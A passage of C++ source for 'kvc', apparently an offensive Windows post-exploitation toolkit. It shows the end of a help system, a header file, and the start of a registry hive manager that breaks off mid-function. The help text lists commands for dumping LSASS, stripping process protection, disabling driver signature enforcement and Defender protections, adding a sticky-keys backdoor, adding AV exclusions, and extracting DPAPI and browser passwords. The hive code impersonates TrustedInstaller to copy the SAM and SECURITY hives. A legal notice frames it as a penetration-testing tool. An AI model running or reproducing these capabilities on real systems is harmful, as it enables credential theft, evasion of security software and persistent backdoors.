    printLine(L"kvc set 5678 PP Windows", L"Force set PP-Windows protection");
    printLine(L"kvc spoof 1044 37 07", L"Spoof process signatures (EXE: 0x37, DLL: 0x07)");
    printLine(L"kvc unprotect lsass", L"Remove protection from LSASS");
    printLine(L"kvc unprotect 1,2,3,lsass", L"Batch unprotect multiple targets");
    printLine(L"kvc unprotect Antimalware", L"Remove protection from all Antimalware processes");
    printLine(L"kvc unprotect all", L"Remove protection from ALL processes (grouped by signer)");
    printLine(L"kvc set-signer Antimalware PPL WinTcb", L"Change all Antimalware processes to PPL-WinTcb");
    printLine(L"kvc set-signer Windows PP Antimalware", L"Escalate all Windows processes to PP-Antimalware");
    
    // Session state management
    printLine(L"kvc history", L"Show saved sessions (max 16, with status tracking)");
    printLine(L"kvc restore Antimalware", L"Restore PPL for Antimalware group");
    printLine(L"kvc restore msmpeng",    L"Relaunch MsMpEng.exe killed via kvc kill (SCM or cached path)");
    printLine(L"kvc restore all",        L"Restore all saved protection states from current session");
    printLine(L"kvc cleanup-sessions", L"Delete all old sessions (keep only current)");
    
    // Process termination
    printLine(L"kvc kill 1234", L"Terminate process with PID 1234");
    printLine(L"kvc kill total", L"Terminate Total Commander by name");
    printLine(L"kvc kill 1234,5678,9012", L"Terminate multiple processes");
    printLine(L"kvc kill lsass", L"Terminate protected process (auto-elevation)");
    
    // Memory dumping
    printLine(L"kvc dump lsass C:\\dumps", L"Dump LSASS to specific folder");
    printLine(L"kvc dump 1044", L"Dump PID 1044 to Downloads folder");
    
    // Module enumeration
    printLine(L"kvc modules explorer.exe", L"List all modules loaded in Explorer");
    printLine(L"kvc mods lsass", L"List LSASS modules (auto-elevates for protected)");
    printLine(L"kvc modules 1220", L"List modules by PID");
    printLine(L"kvc modules explorer read ntdll", L"Read PE header (256 bytes) from ntdll.dll");
    printLine(L"kvc mods lsass read lsasrv 0x1000", L"Read 256 bytes at offset 0x1000");
    printLine(L"kvc modules 1234 read kernel32 0 512", L"Read 512 bytes from module start");
    
    // NT service management
    printLine(L"kvc install", L"Install kvc as NT service");
    printLine(L"kvc service start", L"Start the service");
    printLine(L"kvc service stop", L"Stop the service");
    printLine(L"kvc uninstall", L"Full cleanup: service + BootExecute + drivers.ini");
    printLine(L"kvc uninstall smss", L"Remove only SMSS boot loader (keep NT service)");

    // SMSS boot-phase driver loader
    printLine(L"kvc install omnidriver", L"Register omnidriver.sys for SMSS boot loading (scanner resolves offsets at boot)");
    printLine(L"kvc install --pdb omnidriver", L"Same + pre-resolve offsets via PDB (faster boot, re-run after Windows update)");
    printLine(L"kvc install omnidriver.sys", L"Same - .sys extension optional");
    printLine(L"kvc install kvcstrm", L"Register kvcstrm for early load (before AV user-mode)");
    
    // Driver Signature Enforcement control
    printLine(L"kvc dse off", L"Disable DSE to load unsigned drivers");
    printLine(L"kvc dse off --safe", L"Disable DSE (Next-Gen PDB method)");
    printLine(L"kvc dse on", L"Re-enable DSE for system security");
    printLine(L"kvc dse on --safe", L"Re-enable DSE (Next-Gen method)");
    printLine(L"kvc dse", L"Check current DSE status");

    // External driver loading (auto DSE bypass)
    printLine(L"kvc driver load kvckbd", L"Load driver from System32\\drivers\\kvckbd.sys");
    printLine(L"kvc driver load C:\\test\\mydriver.sys", L"Load driver from full path");
    printLine(L"kvc driver load kvckbd -s 1", L"Load with StartType=SYSTEM");
    printLine(L"kvc driver reload kvcstrm", L"Reload driver (stop -> patch -> start -> unpatch)");
    printLine(L"kvc driver stop mydriver", L"Stop driver service (no delete)");
    printLine(L"kvc driver remove mydriver", L"Stop and delete driver service");
    
    // Watermark management
    printLine(L"kvc wm status", L"Check if watermark is removed or active");
    printLine(L"kvc wm remove", L"Remove Windows desktop watermark");
    printLine(L"kvc wm restore", L"Restore original Windows watermark");
    printLine(L"kvc watermark remove", L"Full command syntax (same as 'wm remove')");
    
    // UnderVolter EFI module
    printLine(L"kvc undervolter status", L"Check if UnderVolter is deployed on EFI partition");
    printLine(L"kvc undervolter deploy", L"Deploy UnderVolter.dat to EFI partition (interactive)");
    printLine(L"kvc undervolter remove", L"Remove UnderVolter from EFI partition, restore backup");

    // Filesystem blocker / VaultGuard
    printLine(L"kvc lock --gui", L"Open VaultGuard protection GUI");
    printLine(L"kvc lock --tray", L"Open VaultGuard GUI minimized to tray");
    printLine(L"kvc lock on", L"Enable filesystem protection and load saved registry config");
    printLine(L"kvc lock add D:\\ Hidden", L"Hide a partition root from shell enumeration");
    printLine(L"kvc lock add C:\\Private All", L"Apply all protection flags to a path");
    printLine(L"kvc lock allow totalcmd64.exe", L"Trust one executable basename");
    printLine(L"kvc lock list", L"List protected paths and trusted apps");

    // System backdoors
    printLine(L"kvc shift", L"Install sticky keys backdoor");
    printLine(L"kvc unshift", L"Remove sticky keys backdoor");
    
    // TrustedInstaller elevation
    printLine(L"kvc trusted cmd", L"Run command as TrustedInstaller");
    printLine(L"kvc trusted \"C:\\app.exe\" --arg", L"Run application with arguments");
    printLine(L"kvc install-context", L"Add right-click menu entries");
    
    // Windows Defender exclusions
    printLine(L"kvc add-exclusion Processes kvc.exe", L"Add process to exclusions (manual)");
    printLine(L"kvc add-exclusion C:\\malware.exe", L"Add specific file to exclusions");
    printLine(L"kvc add-exclusion Paths C:\\temp", L"Add folder to path exclusions");
    printLine(L"kvc add-exclusion Processes cmd.exe", L"Add process to exclusions");
    printLine(L"kvc add-exclusion Extensions .tmp", L"Add extension to exclusions");
    printLine(L"kvc add-exclusion IpAddresses 1.1.1.1", L"Add IP to exclusions");
    printLine(L"kvc remove-exclusion Processes cmd.exe", L"Remove process exclusion");
    
    // Security engine control
    printLine(L"kvc secengine status",  L"IFEO block / WinDefend / MsMpEng state");
    printLine(L"kvc secengine disable", L"IFEO block + kill all 3 Defender targets via kvckiller (no restart)");
    printLine(L"kvc secengine enable",  L"Remove IFEO block, start WinDefend + SecurityHealthService");
    
    // Defender UI automation (Real-Time Protection / Tamper Protection)
    printLine(L"kvc rtp status", L"Check Real-Time Protection status");
    printLine(L"kvc rtp off", L"Disable Real-Time Protection (ghost mode)");
    printLine(L"kvc rtp on", L"Enable Real-Time Protection");
    printLine(L"kvc tp status", L"Check Tamper Protection status");
    printLine(L"kvc tp off", L"Disable Tamper Protection (ghost mode)");
    printLine(L"kvc tp on", L"Enable Tamper Protection");
    
    // Credential extraction
    printLine(L"kvc export secrets", L"Export secrets to Downloads folder");
    printLine(L"kvc export secrets C:\\reports", L"Export secrets to specific folder");
    
    // Registry operations
    printLine(L"kvc registry backup", L"Backup all hives to Downloads");
    printLine(L"kvc registry backup C:\\backup", L"Backup to custom directory");
    printLine(L"kvc registry restore C:\\backup\\Registry_Backup_*", L"Restore from backup");
    printLine(L"kvc registry defrag", L"Defragment registry (backup+restore)");
    
    // Browser password extraction
    printLine(L"kvc bp --edge", L"Edge only (works standalone, no kvc_pass needed)");
    printLine(L"kvc bp --chrome", L"Chrome only (requires kvc_pass.exe)");
    printLine(L"kvc bp --brave", L"Brave only (requires kvc_pass.exe)");
    printLine(L"kvc bp --all", L"Extract all browsers (requires kvc_pass.exe)");
    printLine(L"kvc bp --edge -o C:\\passwords", L"Edge with custom output directory");

    // Entertainment
    printLine(L"kvc --tetris", L"Take a break and play Tetris");

    std::wcout << L"\n";
}

void HelpSystem::PrintSecurityNotice() noexcept
{
    PrintSectionHeader(L"SECURITY & LEGAL NOTICE");
    
    HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
    CONSOLE_SCREEN_BUFFER_INFO csbi;
    GetConsoleScreenBufferInfo(hConsole, &csbi);
    WORD originalColor = csbi.wAttributes;
    
    SetConsoleTextAttribute(hConsole, Colors::RED_BRIGHT);
    std::wcout << L"  WARNING: POWERFUL SECURITY RESEARCH TOOL - USE RESPONSIBLY\n\n";
    SetConsoleTextAttribute(hConsole, originalColor);
    
    std::wcout << L"  CAPABILITIES & REQUIREMENTS:\n";
    std::wcout << L"  - Kernel driver manipulation with advanced memory access techniques\n";
    std::wcout << L"  - DPAPI secret extraction (browser passwords, WiFi credentials, certificates)\n";
    std::wcout << L"  - Windows Defender bypass and exclusion management\n";
    std::wcout << L"  - System persistence mechanisms (sticky keys backdoor, IFEO techniques)\n";
    std::wcout << L"  - TrustedInstaller privilege escalation and system-level operations\n";
    std::wcout << L"  - Process protection manipulation and memory dumping\n";
    std::wcout << L"  - Registry modifications and service installation capabilities\n\n";
    
    std::wcout << L"  TECHNICAL IMPLEMENTATION:\n";
    std::wcout << L"  - Embedded encrypted kernel driver with steganographic protection\n";
    std::wcout << L"  - Dynamic driver loading - temporary deployment with automatic cleanup\n";
    std::wcout << L"  - Administrator privileges required for all security operations\n";
    std::wcout << L"  - Most operations leave no permanent traces except when explicitly requested\n";
    std::wcout << L"  - Some commands (shift, install, add-exclusion) make persistent changes\n";
    std::wcout << L"  - These changes are reversible (via unshift, remove-exclusion, etc.)\n\n";
    
    SetConsoleTextAttribute(hConsole, Colors::YELLOW_BRIGHT);
    std::wcout << L"  LEGAL & ETHICAL RESPONSIBILITY:\n";
    SetConsoleTextAttribute(hConsole, originalColor);
    std::wcout << L"  - Intended for authorized penetration testing and security research only\n";
    std::wcout << L"  - User assumes full legal responsibility for all actions performed\n";
    std::wcout << L"  - Ensure proper authorization before using on any system\n";
    std::wcout << L"  - Misuse may violate computer crime laws in your jurisdiction\n";
    std::wcout << L"  - This tool can modify system security settings and extract sensitive data\n\n";
    
    SetConsoleTextAttribute(hConsole, Colors::GREEN_BRIGHT);
    std::wcout << L"  PROFESSIONAL USE GUIDELINES:\n";
    SetConsoleTextAttribute(hConsole, originalColor);
    std::wcout << L"  - Document all activities for security assessments\n";
    std::wcout << L"  - Use 'unshift' and 'remove-exclusion' commands to clean up after testing\n";
    std::wcout << L"  - Verify system state before and after testing\n";
    std::wcout << L"  - Report findings through appropriate responsible disclosure channels\n\n";
    
    SetConsoleTextAttribute(hConsole, Colors::RED_BRIGHT);
    std::wcout << L"  By using this tool, you acknowledge understanding and accept full responsibility.\n\n";
    SetConsoleTextAttribute(hConsole, originalColor);
}

void HelpSystem::PrintFooter() noexcept
{
    HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
    CONSOLE_SCREEN_BUFFER_INFO csbi;
    GetConsoleScreenBufferInfo(hConsole, &csbi);
    WORD originalColor = csbi.wAttributes;

    // Top border
    SetConsoleTextAttribute(hConsole, Colors::BLUE_BRIGHT);
    std::wcout << L"+" << std::wstring(HelpLayout::WIDTH - 2, L'-') << L"+\n";

    // Footer content lines
    PrintBoxLine(L"Support this project - a small donation is greatly appreciated", 
                 hConsole, Colors::BLUE_BRIGHT, Colors::WHITE_BRIGHT);
    PrintBoxLine(L"and helps sustain private research builds.", 
                 hConsole, Colors::BLUE_BRIGHT, Colors::WHITE_BRIGHT);
    PrintBoxLine(L"GitHub source code: https://github.com/wesmar/kvc/", 
                 hConsole, Colors::BLUE_BRIGHT, Colors::WHITE_BRIGHT);
    PrintBoxLine(L"Professional services: marek@wesolowski.eu.org", 
                 hConsole, Colors::BLUE_BRIGHT, Colors::WHITE_BRIGHT);

    // Donation line with colored links
    SetConsoleTextAttribute(hConsole, Colors::BLUE_BRIGHT);
    std::wcout << L"|";
    
    std::wstring_view paypal = L"PayPal: ";
    std::wstring_view paypalLink = L"paypal.me/ext1";
    std::wstring_view middle = L"        ";
    std::wstring_view revolut = L"Revolut: ";
    std::wstring_view revolutLink = L"revolut.me/marekb92";
    
    int totalLen = static_cast<int>(paypal.length() + paypalLink.length() + 
                                   middle.length() + revolut.length() + revolutLink.length());
    int innerWidth = HelpLayout::WIDTH - 2;
    int padding = (innerWidth - totalLen) / 2;
    if (padding < 0) padding = 0;
    
    SetConsoleTextAttribute(hConsole, Colors::WHITE_BRIGHT);
    std::wcout << std::wstring(padding, L' ') << paypal;
    SetConsoleTextAttribute(hConsole, Colors::GREEN_BRIGHT);
    std::wcout << paypalLink;
    SetConsoleTextAttribute(hConsole, Colors::WHITE_BRIGHT);
    std::wcout << middle << revolut;
    SetConsoleTextAttribute(hConsole, Colors::GREEN_BRIGHT);
    std::wcout << revolutLink;
    SetConsoleTextAttribute(hConsole, Colors::WHITE_BRIGHT);
    std::wcout << std::wstring(innerWidth - totalLen - padding, L' ');
    
    SetConsoleTextAttribute(hConsole, Colors::BLUE_BRIGHT);
    std::wcout << L"|\n";

    // Bottom border
    std::wcout << L"+" << std::wstring(HelpLayout::WIDTH - 2, L'-') << L"+\n\n";

    SetConsoleTextAttribute(hConsole, originalColor);
}

void HelpSystem::PrintSectionHeader(const wchar_t* title) noexcept
{
    HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
    CONSOLE_SCREEN_BUFFER_INFO csbi;
    GetConsoleScreenBufferInfo(hConsole, &csbi);
    WORD originalColor = csbi.wAttributes;
    
    SetConsoleTextAttribute(hConsole, Colors::YELLOW_BRIGHT);
    std::wcout << L"=== " << title << L" ===\n";
    
    SetConsoleTextAttribute(hConsole, originalColor);
}

void HelpSystem::PrintCommandLine(const wchar_t* command, const wchar_t* description) noexcept
{
    std::wcout << L"  " << std::left << std::setw(HelpLayout::COMMAND_WIDTH) 
               << command << L"- " << description << L"\n";
}

void HelpSystem::PrintNote(const wchar_t* note) noexcept
{
    HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
    CONSOLE_SCREEN_BUFFER_INFO csbi;
    GetConsoleScreenBufferInfo(hConsole, &csbi);
    WORD originalColor = csbi.wAttributes;
    
    SetConsoleTextAttribute(hConsole, Colors::GRAY);
    std::wcout << L"  " << note << L"\n";
    
    SetConsoleTextAttribute(hConsole, originalColor);
}

void HelpSystem::PrintWarning(const wchar_t* warning) noexcept
{
    HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
    CONSOLE_SCREEN_BUFFER_INFO csbi;
    GetConsoleScreenBufferInfo(hConsole, &csbi);
    WORD originalColor = csbi.wAttributes;
    
    SetConsoleTextAttribute(hConsole, Colors::RED_BRIGHT);
    std::wcout << L"  " << warning << L"\n";
    
    SetConsoleTextAttribute(hConsole, originalColor);
}

void HelpSystem::PrintUnknownCommandMessage(std::wstring_view command) noexcept
{
    HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
    CONSOLE_SCREEN_BUFFER_INFO csbi;
    GetConsoleScreenBufferInfo(hConsole, &csbi);
    WORD originalColor = csbi.wAttributes;
    
    SetConsoleTextAttribute(hConsole, Colors::RED_BRIGHT);
    
    std::wcout << L"\nCommand not found: \"" << command << L"\"\n\n";
    std::wcout << L"To display help, use one of the following:\n";
    std::wcout << L"  kvc -h\n";
    std::wcout << L"  kvc help\n";
    std::wcout << L"  kvc | more         (for paginated output)\n";
    std::wcout << L"  kvc help >> \"%USERPROFILE%\\Desktop\\help.txt\"  (save to file)\n\n";
    
    SetConsoleTextAttribute(hConsole, originalColor);
    
    ScreenShake(3, 10);
}

<<<FILE: kvc/HelpSystem.h>>>
Created:  2026-05-27 20:03:13
Modified: 2026-05-27 20:03:13
Size:     2.96 KB
#pragma once

#include <windows.h>
#include <string>

// Console layout constants for consistent formatting across help system
namespace HelpLayout {
    inline constexpr int WIDTH = 80;
    inline constexpr int COMMAND_WIDTH = 50;
    inline constexpr int EXAMPLE_CMD_WIDTH = 60;

    // Wide border (wcout / INFO / CRITICAL)
    inline std::wstring MakeBorder(wchar_t ch = L'=', int count = WIDTH) {
        return std::wstring(count, ch);
    }

    // Narrow border (printf)
    inline std::string MakeBorderA(char ch = '=', int count = WIDTH) {
        return std::string(count, ch);
    }
}

class HelpSystem
{
public:
    static void PrintUsage(std::wstring_view programName) noexcept;
    static void PrintUnknownCommandMessage(std::wstring_view command) noexcept;
    static void PrintBrowserCommands() noexcept;
    static void PrintBlockerCommands() noexcept;

private:
    // Main sections
    static void PrintHeader() noexcept;
    static void PrintFooter() noexcept;

    // Command categories
    static void PrintServiceCommands() noexcept;
    static void PrintDSECommands() noexcept;
    static void PrintDriverCommands() noexcept;
    static void PrintBasicCommands() noexcept;
    static void PrintModuleCommands() noexcept;
    static void PrintProcessTerminationCommands() noexcept;
    static void PrintProtectionCommands() noexcept;
    static void PrintSystemCommands() noexcept;
    static void PrintRegistryCommands() noexcept;
    static void PrintDefenderCommands() noexcept;
    static void PrintSecurityEngineCommands() noexcept;
    static void PrintDefenderUICommands() noexcept;
    static void PrintSessionManagement() noexcept;
    static void PrintDPAPICommands() noexcept;
    static void PrintWatermarkCommands() noexcept;
    static void PrintUnderVolterCommands() noexcept;
    static void PrintForensicCommands() noexcept;
    static void PrintEntertainmentCommands() noexcept;

    // Reference sections
    static void PrintProtectionTypes() noexcept;
    static void PrintExclusionTypes() noexcept;
    static void PrintPatternMatching() noexcept;
    static void PrintTechnicalFeatures() noexcept;
    static void PrintDefenderNotes() noexcept;
    static void PrintStickyKeysInfo() noexcept;
    static void PrintUndumpableProcesses() noexcept;
    static void PrintUsageExamples(std::wstring_view programName) noexcept;
    static void PrintSecurityNotice() noexcept;
    
    // Formatting helpers with cached console handle
    static void PrintSectionHeader(const wchar_t* title) noexcept;
    static void PrintCommandLine(const wchar_t* command, const wchar_t* description) noexcept;
    static void PrintNote(const wchar_t* note) noexcept;
    static void PrintWarning(const wchar_t* warning) noexcept;
    
    // Console color management
    static void PrintCentered(std::wstring_view text, HANDLE hConsole, WORD color) noexcept;
    static void PrintBoxLine(std::wstring_view text, HANDLE hConsole, 
                            WORD borderColor, WORD textColor) noexcept;
};

<<<FILE: kvc/HiveManager.cpp>>>
Created:  2026-02-27 12:50:26
Modified: 2026-02-27 11:42:18
Size:     28.15 KB
// HiveManager.cpp
#include "HiveManager.h"
#include "common.h"
#include "TrustedInstallerIntegrator.h"
#include <iostream>
#include <iomanip>
#include <sstream>
#include <chrono>
#include <shlobj.h>
#include <sddl.h>
#include <lmcons.h>
#include <strsafe.h>

#pragma comment(lib, "advapi32.lib")

namespace
{
constexpr wchar_t kProfileListBase[] = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\";

bool QueryRegStringValue(
    HKEY root,
    const wchar_t* subKey,
    const wchar_t* valueName,
    std::wstring& value,
    DWORD* valueType = nullptr)
{
    value.clear();

    HKEY hKey = nullptr;
    LONG st = RegOpenKeyExW(root, subKey, 0, KEY_QUERY_VALUE, &hKey);
    if (st != ERROR_SUCCESS) {
        return false;
    }

    DWORD type = 0;
    DWORD cbData = 0;
    st = RegQueryValueExW(hKey, valueName, nullptr, &type, nullptr, &cbData);
    if (st != ERROR_SUCCESS || (type != REG_SZ && type != REG_EXPAND_SZ) || cbData < sizeof(wchar_t)) {
        RegCloseKey(hKey);
        return false;
    }

    std::vector<wchar_t> buffer((cbData / sizeof(wchar_t)) + 1, L'\0');
    st = RegQueryValueExW(hKey, valueName, nullptr, &type, reinterpret_cast<LPBYTE>(buffer.data()), &cbData);
    RegCloseKey(hKey);
    if (st != ERROR_SUCCESS) {
        return false;
    }

    value.assign(buffer.data());
    if (valueType != nullptr) {
        *valueType = type;
    }
    return true;
}

bool ExpandIfNeeded(const std::wstring& raw, DWORD type, std::wstring& expanded)
{
    if (type == REG_SZ) {
        expanded = raw;
        return true;
    }
    if (type != REG_EXPAND_SZ) {
        return false;
    }

    DWORD needed = ExpandEnvironmentStringsW(raw.c_str(), nullptr, 0);
    if (needed == 0) {
        return false;
    }
    std::vector<wchar_t> buffer(needed + 1, L'\0');
    DWORD written = ExpandEnvironmentStringsW(raw.c_str(), buffer.data(), static_cast<DWORD>(buffer.size()));
    if (written == 0 || written > buffer.size()) {
        return false;
    }
    expanded.assign(buffer.data());
    return true;
}

bool ResolveUserProfilePathBySid(const std::wstring& sid, std::wstring& profilePath)
{
    profilePath.clear();
    if (sid.empty()) {
        return false;
    }

    std::wstring sidKey = std::wstring(kProfileListBase) + sid;
    std::wstring rawPath;
    DWORD type = 0;
    if (!QueryRegStringValue(HKEY_LOCAL_MACHINE, sidKey.c_str(), L"ProfileImagePath", rawPath, &type)) {
        return false;
    }
    return ExpandIfNeeded(rawPath, type, profilePath);
}

bool StartsWith(const std::wstring& value, const std::wstring& prefix)
{
    return value.size() >= prefix.size() && value.compare(0, prefix.size(), prefix) == 0;
}

bool ResolveBcdPhysicalPath(std::wstring& pathOut)
{
    pathOut.clear();

    HKEY hHiveList = nullptr;
    LONG st = RegOpenKeyExW(HKEY_LOCAL_MACHINE,
                            L"SYSTEM\\CurrentControlSet\\Control\\hivelist",
                            0,
                            KEY_QUERY_VALUE,
                            &hHiveList);
    if (st != ERROR_SUCCESS) {
        return false;
    }

    wchar_t ntPath[1024] = {};
    DWORD type = 0;
    DWORD cbData = sizeof(ntPath);
    st = RegQueryValueExW(hHiveList, L"\\REGISTRY\\MACHINE\\BCD00000000", nullptr, &type,
                          reinterpret_cast<LPBYTE>(ntPath), &cbData);

    if (st != ERROR_SUCCESS || (type != REG_SZ && type != REG_EXPAND_SZ)) {
        for (DWORD index = 0;; ++index) {
            wchar_t valueName[256] = {};
            DWORD cchValueName = ARRAYSIZE(valueName);
            cbData = sizeof(ntPath);
            type = 0;

            if (RegEnumValueW(hHiveList, index, valueName, &cchValueName, nullptr, &type,
                              reinterpret_cast<LPBYTE>(ntPath), &cbData) != ERROR_SUCCESS) {
                break;
            }

            if ((type == REG_SZ || type == REG_EXPAND_SZ) &&
                _wcsnicmp(valueName, L"\\REGISTRY\\MACHINE\\BCD", 22) == 0) {
                st = ERROR_SUCCESS;
                break;
            }
        }
    }

    RegCloseKey(hHiveList);
    if (st != ERROR_SUCCESS) {
        return false;
    }

    std::wstring nt = ntPath;
    if (StartsWith(nt, L"\\Device\\")) {
        pathOut = L"\\\\?\\GLOBALROOT" + nt;
        return true;
    }
    if (StartsWith(nt, L"\\??\\")) {
        pathOut = nt.substr(4);
        return true;
    }
    if (nt.size() >= 3 && nt[1] == L':' && (nt[2] == L'\\' || nt[2] == L'/')) {
        pathOut = nt;
        return true;
    }
    return false;
}

void ResetDwordValueIfNonZero(HKEY key, const wchar_t* valueName)
{
    DWORD type = 0;
    DWORD value = 0;
    DWORD cbData = sizeof(value);
    if (RegQueryValueExW(key, valueName, nullptr, &type, reinterpret_cast<LPBYTE>(&value), &cbData) == ERROR_SUCCESS &&
        type == REG_DWORD && value != 0) {
        value = 0;
        RegSetValueExW(key, valueName, 0, REG_DWORD, reinterpret_cast<const BYTE*>(&value), sizeof(value));
    }
}

void SanitizeProfileListInSoftwareHive(HKEY softwareRoot)
{
    HKEY hProfileList = nullptr;
    if (RegOpenKeyExW(softwareRoot,
                      L"Microsoft\\Windows NT\\CurrentVersion\\ProfileList",
                      0,
                      KEY_ENUMERATE_SUB_KEYS | KEY_QUERY_VALUE,
                      &hProfileList) != ERROR_SUCCESS) {
        return;
    }

    for (DWORD index = 0;; ++index) {
        wchar_t sidKeyName[256] = {};
        DWORD cchSid = ARRAYSIZE(sidKeyName);
        FILETIME ft = {};
        LONG st = RegEnumKeyExW(hProfileList, index, sidKeyName, &cchSid, nullptr, nullptr, nullptr, &ft);
        if (st == ERROR_NO_MORE_ITEMS) {
            break;
        }
        if (st != ERROR_SUCCESS) {
            continue;
        }

        if (_wcsnicmp(sidKeyName, L"S-1-5-21-", 9) != 0) {
            continue;
        }

        HKEY hSid = nullptr;
        if (RegOpenKeyExW(hProfileList, sidKeyName, 0, KEY_QUERY_VALUE | KEY_SET_VALUE, &hSid) == ERROR_SUCCESS) {
            ResetDwordValueIfNonZero(hSid, L"State");
            ResetDwordValueIfNonZero(hSid, L"RefCount");
            RegCloseKey(hSid);
        }
    }

    RegCloseKey(hProfileList);
}
} // namespace

HiveManager::HiveManager()
    : m_tiToken(nullptr)
    , m_tiIntegrator(nullptr)
{
    m_currentUserSid = GetCurrentUserSid();
    m_currentUsername = GetCurrentUsername();
    InitializeHiveLists();
    ResetStats();
}

HiveManager::~HiveManager()
{
    if (m_tiToken) {
        RevertToSelf();
        m_tiToken = nullptr;
    }
    
    if (m_tiIntegrator) {
        delete m_tiIntegrator;
        m_tiIntegrator = nullptr;
    }
}

std::wstring HiveManager::GetCurrentUserSid()
{
    TokenGuard token;
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, token.addressof())) {
        return L"";
    }

    DWORD dwSize = 0;
    GetTokenInformation(token.get(), TokenUser, nullptr, 0, &dwSize);

    std::vector<BYTE> buffer(dwSize);
    TOKEN_USER* pTokenUser = reinterpret_cast<TOKEN_USER*>(buffer.data());

    std::wstring sidString;
    if (GetTokenInformation(token.get(), TokenUser, pTokenUser, dwSize, &dwSize)) {
        LPWSTR stringSid;
        if (ConvertSidToStringSidW(pTokenUser->User.Sid, &stringSid)) {
            sidString = stringSid;
            LocalFree(stringSid);
        }
    }

    return sidString;
}

std::wstring HiveManager::GetCurrentUsername()
{
    wchar_t username[UNLEN + 1];
    DWORD size = UNLEN + 1;
    
    if (GetUserNameW(username, &size)) {
        return std::wstring(username);
    }
    
    return L"";
}

fs::path HiveManager::GetHivePhysicalPath(const std::wstring& hiveName)
{
    wchar_t sysDir[MAX_PATH];

    GetSystemDirectoryW(sysDir, MAX_PATH);
    fs::path systemPath(sysDir);

    if (hiveName == L"DEFAULT") {
        return systemPath / L"config" / L"DEFAULT";
    }
    else if (hiveName == L"SAM") {
        return systemPath / L"config" / L"SAM";
    }
    else if (hiveName == L"SECURITY") {
        return systemPath / L"config" / L"SECURITY";
    }
    else if (hiveName == L"SOFTWARE") {
        return systemPath / L"config" / L"SOFTWARE";
    }
    else if (hiveName == L"SYSTEM") {
        return systemPath / L"config" / L"SYSTEM";
    }
    else if (hiveName == L"BCD") {
        std::wstring bcdPath;
        if (ResolveBcdPhysicalPath(bcdPath)) {
            return fs::path(bcdPath);
        }
    }
    else if (hiveName == L"NTUSER" && !m_currentUserSid.empty()) {
        std::wstring profilePath;
        if (ResolveUserProfilePathBySid(m_currentUserSid, profilePath)) {
            return fs::path(profilePath) / L"NTUSER.DAT";
        }
    }
    else if (hiveName == L"UsrClass" && !m_currentUserSid.empty()) {
        std::wstring profilePath;
        if (ResolveUserProfilePathBySid(m_currentUserSid, profilePath)) {
            return fs::path(profilePath) / L"AppData" / L"Local" / L"Microsoft" / L"Windows" / L"UsrClass.dat";
        }
    }
    
    return L"";
}

void HiveManager::InitializeHiveLists()
{
    // Build user-specific paths
    std::wstring userHivePath = L"HKU\\" + m_currentUserSid;
    std::wstring userClassPath = userHivePath + L"_Classes";
    
    // Critical registry hives (all operations require TrustedInstaller elevation)
    m_registryHives = {
        { L"BCD", L"HKLM\\BCD00000000", true },            // Bootloader
        { L"DEFAULT", L"HKU\\.DEFAULT", true },
        { L"NTUSER", userHivePath, true },                 // User hive with real SID
        { L"SAM", L"HKLM\\SAM", true },
        { L"SECURITY", L"HKLM\\SECURITY", true },
        { L"SOFTWARE", L"HKLM\\SOFTWARE", true },
        { L"SYSTEM", L"HKLM\\SYSTEM", true },
        { L"UsrClass", userClassPath, true }               // User classes with real SID
    };
}

void HiveManager::ResetStats()
{
    m_lastStats = BackupStats{};
}

fs::path HiveManager::GenerateDefaultBackupPath()
{
    wchar_t downloadsPath[MAX_PATH];
    if (SUCCEEDED(SHGetFolderPathW(nullptr, CSIDL_PROFILE, nullptr, 0, downloadsPath))) {
        fs::path basePath = fs::path(downloadsPath) / L"Downloads";
        std::wstring folderName = L"Registry_Backup_" + TimeUtils::GetFormattedTimestamp("datetime_file");
        return basePath / folderName;
    }
    
    return fs::temp_directory_path() / (L"Registry_Backup_" + TimeUtils::GetFormattedTimestamp("datetime_file"));
}

bool HiveManager::ValidateBackupDirectory(const fs::path& path)
{
    std::error_code ec;
    
    fs::path normalizedPath = fs::absolute(path, ec);
    if (ec) {
        ERROR(L"Failed to normalize path: %s", path.c_str());
        return false;
    }
    
    if (!fs::exists(normalizedPath, ec)) {
        if (!fs::create_directories(normalizedPath, ec)) {
            ERROR(L"Failed to create backup directory: %s", normalizedPath.c_str());
            return false;
        }
        INFO(L"Created backup directory: %s", normalizedPath.c_str());
    }
    
    if (!fs::is_directory(normalizedPath, ec)) {
        ERROR(L"Path is not a directory: %s", normalizedPath.c_str());
        return false;
    }
    
    return true;
}

bool HiveManager::ValidateRestoreDirectory(const fs::path& path)
{
    std::error_code ec;
    
    fs::path normalizedPath = fs::absolute(path, ec);
    if (ec) {
        ERROR(L"Failed to normalize path: %s", path.c_str());
        return false;
    }
    
    if (!fs::exists(normalizedPath, ec) || !fs::is_directory(normalizedPath, ec)) {
        ERROR(L"Restore directory does not exist: %s", normalizedPath.c_str());
        return false;
    }
    
    return true;
}

bool HiveManager::ElevateToTrustedInstaller()
{
    if (m_tiToken) {
        return true;
    }
    
    if (!m_tiIntegrator) {
        m_tiIntegrator = new TrustedInstallerIntegrator();
    }
    
    INFO(L"Acquiring TrustedInstaller token...");
    m_tiToken = m_tiIntegrator->GetCachedTrustedInstallerToken();
    
    if (!m_tiToken) {
        ERROR(L"Failed to acquire TrustedInstaller token - ensure running as Administrator");
        return false;
    }
    
    if (!ImpersonateLoggedOnUser(m_tiToken)) {
        ERROR(L"Failed to impersonate TrustedInstaller: %d", GetLastError());
        m_tiToken = nullptr;
        return false;
    }
    
    SUCCESS(L"Elevated to TrustedInstaller");
    return true;
}

bool HiveManager::PromptYesNo(const wchar_t* question)
{
    std::wcout << L"\n" << question << L" ";
    std::wstring response;
    std::getline(std::wcin, response);
    
    if (response.empty()) {
        return false;
    }
    
    wchar_t first = towlower(response[0]);
    return (first == L'y' || first == L't'); // Y/y or T/t (Polish "tak")
}

bool HiveManager::SaveRegistryHive(const std::wstring& registryPath, const fs::path& destFile)
{
    HKEY hRootKey = nullptr;
    std::wstring subKey;

